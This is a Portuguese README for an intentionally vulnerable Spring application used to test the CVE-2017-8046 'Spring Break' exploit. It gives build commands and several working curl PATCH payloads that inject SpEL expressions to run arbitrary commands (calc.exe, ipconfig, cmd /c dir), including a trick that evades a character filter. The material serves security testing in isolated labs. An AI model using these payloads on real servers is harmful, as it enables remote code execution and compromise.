
AVISO: Esta é uma aplicação vulnerável para testar o exploit da vulnerabilidade Spring Break (CVE-2017-8046). Execute-a por sua conta e risco!
Esta é uma aplicação vulnerável para testar o exploit para a vulnerabilidade Spring Break (CVE-2017-8046).
Esta aplicação contém sérias vulnerabilidades de segurança. Execute-a por sua conta e risco! Recomenda-se usar um ambiente com backup e isolado (como uma VM com snapshot recente e rede apenas entre host). Não faça upload desta aplicação para servidores expostos à Internet, pois eles serão comprometidos.
AVISO LEGAL: Não me responsabilizo pela forma como qualquer um utiliza esta aplicação (SpringBreakVulnerableApp). O único propósito desta aplicação é ser um cenário de teste para o exploit Spring Break e não deve ser usada maliciosamente. Se o seu servidor for comprometido através de uma instalação do SpringBreakVulnerableApp, não é minha responsabilidade, é responsabilidade da(s) pessoa(s) que o carregou e instalou.
A aplicação pode ser iniciada com o seguinte comando Maven.
mvn spring-boot:run
Um fat jar pode ser gerado com o seguinte comando Maven.
mvn clean install spring-boot:repackage
Para inserir dados, pode usar o seguinte comando curl.
curl -i -X POST -H "Content-Type: application/json" -d '{ "name" : "Test", "attribute" : "foo"}' http://hostname:port/entity
Provavelmente, o exploit mais simples é a seguinte requisição.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Thread).sleep(10000).x", "value" : "pwned" }]' "http://hostname:port/entity/1"
No Windows, o processo calc.exe pode ser iniciado com a seguinte requisição. Requisições semelhantes podem ser usadas para executar comandos arbitrários.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
Para obter a saída de comandos executados, alguns "gadgets" oferecidos pelo código do Spring Framework podem ser usados. Felizmente, nenhuma dependência externa é necessária. Por exemplo, o resultado do comando ipconfig pode ser recuperado com a seguinte requisição.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ipconfig\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
No Windows, um comando cmd /c dir e outros comandos semelhantes podem ser executados com a seguinte requisição. Observe o truque usado para inserir o caractere barra evitando o valor explícito (ou seja, barras explícitas são substituídas por pontos antes da análise real).
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"cmd \" + T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F)) + \"c dir\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
Um programa Java para explorar esta vulnerabilidade pode ser encontrado aqui.
Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE.txt para obter detalhes.